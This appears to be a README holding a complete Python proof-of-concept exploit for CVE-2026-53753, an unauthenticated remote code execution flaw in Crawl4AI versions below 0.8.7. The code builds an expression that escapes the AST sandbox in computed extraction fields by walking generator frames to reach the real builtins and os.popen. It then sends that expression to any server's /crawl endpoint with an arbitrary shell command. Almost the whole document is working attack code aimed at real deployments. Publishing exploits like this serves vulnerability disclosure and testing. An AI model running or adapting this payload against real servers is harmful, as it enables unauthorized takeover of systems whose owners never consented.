README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-53753 — Crawl4AI < 0.8.7 — Unauthenticated Remote Code Execution
AST sandbox escape in the `_safe_eval_expression()` computed-fields evaluator.
The Docker API server (`POST /crawl`) deserializes a caller-supplied
`crawler_config` into a `CrawlerRunConfig`, including a `JsonCssExtractionStrategy`
schema. A computed field of type `expression` is passed to `_safe_eval_expression()`,
whose AST allow-list only rejects attribute/call names starting with "_" (and imports).
Frame attributes `gi_frame` / `f_back` / `f_builtins` do not start with "_", and the
builtins dict key `__import__` is reached via subscript (never inspected). Walking the
running generator's frame chain escapes the sandboxed builtins to the real builtins,
yielding `__import__('os').popen(<cmd>).read()` (output returned in-band).
No authentication is required: the shipped config has `jwt_enabled: false`, so the
`/crawl` token dependency is a no-op.
Author: Caio Fabrício (BiiTts) — https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import urllib.request
def build_expression(cmd: str) -> str:
"""Computed-field expression that escapes the AST sandbox and runs `cmd`.
Uses os.popen(cmd).read() so the command's stdout becomes the computed field
value and is returned IN-BAND in the /crawl JSON response (in-band RCE proof).
"""
# Final expression (with CMD substituted):
#
# (lambda: ((g := (g.gi_frame.f_back.f_back.f_back
# .f_builtins['__import__']('os').popen('CMD').read()
# for i in [1])), list(g))[-1])()
#
# Token-by-token, mapped to the AST node the validator sees (extraction_strategy.py):
#
# (lambda: ...)() ast.Lambda + ast.Call(func=Lambda) -> not a Name/Attribute, NOT checked.
# The lambda creates a real function scope so the walrus name below
# becomes a CLOSURE CELL that the inner genexpr can read.
# ( A , list(g) )[-1] ast.Tuple + ast.Subscript. Walrus is ILLEGAL inside a comprehension's
# iterable, so we bind g here, in a tuple element, then drive it.
# g := ( <body> for i in [1])
# ast.NamedExpr binding an ast.GeneratorExp. Neither is inspected.
# The genexpr <body> references g (itself) via the closure cell.
# list(g) ast.Call(func=Name 'list'). 'list' does NOT start with '_' and is in
# _SAFE_EVAL_BUILTINS, so the call passes AND it RUNS the generator,
# making g.gi_frame a LIVE frame (so .f_back is populated, not None).
# g.gi_frame ast.Attribute attr='gi_frame' -> no leading '_', PASSES.
# .f_back .f_back .f_back ast.Attribute attr='f_back' x3 -> no leading '_', PASSES.
# Walks up: running genexpr -> eval('<expression>') frame (sandboxed
# builtins) -> lambda frame -> _safe_eval_expression frame (REAL builtins).
# .f_builtins ast.Attribute attr='f_builtins' -> no leading '_', PASSES.
# On the outer frame this is the FULL builtins mapping (__import__, etc.).
# ['__import__'] ast.Subscript. The validator only checks ast.Attribute.attr and
# ast.Call func names -- it NEVER looks at subscript keys. The dunder
# string '__import__' slips through as plain data.
# ('os') ast.Call whose func is the Subscript above (not Name/Attribute) -> not
# checked. Yields the real os module.
# .popen('CMD').read() ast.Attribute attr='popen'/'read' -> no leading '_', PASSES. popen runs
# the shell command; .read() returns its STDOUT, which becomes the genexpr
# value -> the computed field value -> reflected in the /crawl response.
#
# f_back depth = 3 is correct for crawl4ai 0.8.6's _safe_eval_expression call stack.
safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'") # keep the single-quoted shell string intact
chain = "g.gi_frame.f_back.f_back.f_back.f_builtins"
return (
"(lambda: (("
f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])"
"), list(g))[-1])()"
)
def build_payload(cmd: str) -> dict:
expr = build_expression(cmd)
html = "<html><body><div id='x'>hi</div></body></html>"
return {
"urls": [f"raw://{html}"],
"crawler_config": {
"type": "CrawlerRunConfig",
"params": {
"extraction_strategy": {
"type": "JsonCssExtractionStrategy",
"params": {
"schema": {
"name": "pwn",
"baseSelector": "div",
"fields": [
{"name": "out", "type": "computed", "expression": expr}
],
}
},
}
},
},
}
def main() -> int:
ap = argparse.ArgumentParser(description="CVE-2026-53753 Crawl4AI unauth RCE PoC")
ap.add_argument("target", help="Base URL, e.g. http://127.0.0.1:11235")
ap.add_argument("-c", "--cmd", default="id", help="Shell command to run on the server")
ap.add_argument("--print-payload", action="store_true", help="Print JSON payload and exit")
args = ap.parse_args()
payload = build_payload(args.cmd)
if args.print_payload:
print(json.dumps(payload, indent=2))
return 0
url = args.target.rstrip("/") + "/crawl"
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"})
print(f"[*] POST {url} (cmd: {args.cmd!r}, no auth)")
try:
with urllib.request.urlopen(req, timeout=120) as resp:
body = resp.read().decode(errors="replace")
print(f"[*] HTTP {resp.status}")
print(body[:800])
except Exception as e:
# os.system return code is an int; extraction swallows output, so non-2xx is common.
print(f"[!] Request raised/returned: {e}")
print("[*] Command executed server-side. Use a blind/OAST or file-write cmd to confirm.")
return 0
if __name__ == "__main__":
sys.exit(main())